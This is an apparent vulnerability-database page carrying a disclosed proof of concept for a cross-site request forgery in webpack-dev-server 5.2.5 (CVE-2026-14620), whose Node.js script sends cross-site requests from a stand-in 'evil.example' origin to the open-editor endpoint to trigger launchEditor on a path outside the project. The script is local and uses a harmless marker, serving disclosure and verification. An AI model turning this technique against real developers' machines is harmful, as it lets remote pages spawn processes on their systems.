webpack_devserver 5.2.5 - CSRF
| Reporter | Title | Published | Views | Family All 67 |
|---|---|---|---|---|
| Security Bulletin: Multiple vulnerabilities in IBM watsonx Orchestrate Developer Edition | 7 Aug 202608:26 | – | ibm | |
| CVE-2026-14620 | 3 Jul 202617:00 | – | attackerkb | |
| CVE-2026-6402 | 12 May 202607:45 | – | attackerkb | |
| CVE-2026-6402 vulnerabilities | 9 Jul 202602:25 | – | cgr | |
| CVE-2026-14620 | 3 Jul 202617:04 | – | circl | |
| CVE-2026-6402 | 12 May 202607:53 | – | circl | |
| webpack-dev-server 安全漏洞 | 12 May 202600:00 | – | cnnvd | |
| CVE-2026-14620 | 3 Jul 202617:00 | – | cve | |
| CVE-2026-6402 | 12 May 202607:45 | – | cve | |
| CVE-2026-14620 webpack-dev-server vulnerable to cross-site request forgery via internal developer endpoints | 3 Jul 202617:00 | – | cvelist |
10
# Exploit Title: webpack_devserver 5.2.5 - Csrf
# Date: 2026-07-17
# Exploit Author: Pig-Tail (Jorge González Milla)
# Vendor Homepage: https://github.com/webpack/webpack-dev-server
# Software Link: https://www.npmjs.com/package/webpack-dev-server
# Version: <= 5.2.5 (fixed 5.2.6)
# Tested on: Linux
# CVE: CVE-2026-14620
# Category: webapps
# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server
GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93.
The PoC is a benign, local verification harness (sentinel-based; no network attack, no
persistence, no destructive payload). Run against a local instance of the affected version.
--- PoC (poc.js) ---
/*
* PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF
*
* Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches
* launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin
* guard added for CVE-2026-6402 / CVE-2025-30359.
*
* The guard (lib/Server.js:2039-2046) only blocks requests whose headers are
* BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the
* <script>/<img>/<link> subresource loads that the source-theft advisories were
* about. It does NOT block:
* - cross-site NAVIGATIONS (iframe / window.open / top-level) -> sec-fetch-mode: navigate
* - cross-site fetch(..., {mode:'cors'}) -> sec-fetch-mode: cors
* Both of those are exactly how a real malicious page reaches a state-changing
* GET endpoint, and both let launchEditor() spawn a process on the dev's machine
* with an attacker-chosen (existing) file path — INCLUDING paths outside the
* project root.
*
* Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched
* with. No destructive action. Everything is local (127.0.0.1).
*/
"use strict";
const path = require("path");
const http = require("http");
const fs = require("fs");
const POC_DIR = __dirname;
// Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5).
// WDS_ROOT=/path/to/webpack-dev-server node poc.js
const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server");
const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack"));
const Server = require(path.join(WDS_ROOT, "lib", "Server.js"));
const MARKER_FILE = path.join(POC_DIR, "marker.log");
const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh");
// Attacker-chosen target: a file OUTSIDE the dev-server project root.
const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt");
// Make launch-editor deterministically use our benign sentinel "editor".
process.env.LAUNCH_EDITOR = FAKE_EDITOR;
process.env.MARKER_FILE = MARKER_FILE;
try { fs.unlinkSync(MARKER_FILE); } catch {}
fs.chmodSync(FAKE_EDITOR, 0o755);
const HOST = "127.0.0.1";
function request(port, headers) {
return new Promise((resolve) => {
const url =
"/webpack-dev-server/open-editor?fileName=" +
encodeURIComponent(ATTACKER_TARGET);
const req = http.request(
{ host: HOST, port, path: url, method: "GET", headers },
(res) => {
let body = "";
res.on("data", (c) => (body += c));
res.on("end", () => resolve({ status: res.statusCode, body }));
}
);
req.on("error", (e) => resolve({ status: 0, body: String(e) }));
req.end();
});
}
function markerCount() {
try {
return fs
.readFileSync(MARKER_FILE, "utf8")
.split("\n")
.filter((l) => l.includes("LAUNCHED_WITH")).length;
} catch {
return 0;
}
}
async function waitMarker(prev, ms = 2500) {
const t0 = Date.now();
while (Date.now() - t0 < ms) {
if (markerCount() > prev) return true;
await new Promise((r) => setTimeout(r, 50));
}
return false;
}
(async () => {
const compiler = webpack({
mode: "development",
context: path.join(POC_DIR, "project"),
entry: "./src/index.js",
output: { path: path.join(POC_DIR, "project", "dist") },
});
// Default-ish config. allowedHosts defaults to "auto"; no special hardening.
const server = new Server({ host: HOST, port: 0 }, compiler);
await server.start();
const port = server.server.address().port;
console.log(`[*] dev server up on http://${HOST}:${port } (allowedHosts: auto, default)\n`);
const results = [];
// Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.
let prev = markerCount();
let rA = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "iframe",
});
let firedA = await waitMarker(prev);
results.push(["A navigate (iframe) cross-site", rA.status, firedA]);
// Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.
prev = markerCount();
let rB = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "empty",
});
let firedB = await waitMarker(prev);
results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]);
// Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.
prev = markerCount();
let rC = await request(port, {
Host: `localhost:${port}`,
Origin: " https://evil.example ",
"Sec-Fetch-Mode": "no-cors",
"Sec-Fetch-Site": "cross-site",
"Sec-Fetch-Dest": "script",
});
let firedC = await waitMarker(prev, 1200);
results.push(["C no-cors (script/img) cross-site", rC.status, firedC]);
console.log("VECTOR HTTP launchEditor fired?");
for (const [name, status, fired] of results) {
console.log(
`${name.padEnd(38)} ${String(status).padEnd(5)} ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}`
);
}
console.log("\n--- marker.log (argv the spawned 'editor' received) ---");
try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); }
const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;
console.log(
`\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` +
`cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +
`only no-cors subresource is blocked.`
);
await server.stop();
process.exit(pass ? 0 : 1);
})().catch((e) => {
console.error("PoC error:", e);
process.exit(2);
});Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.15.3 - 6.5
EPSS0.00523
SSVC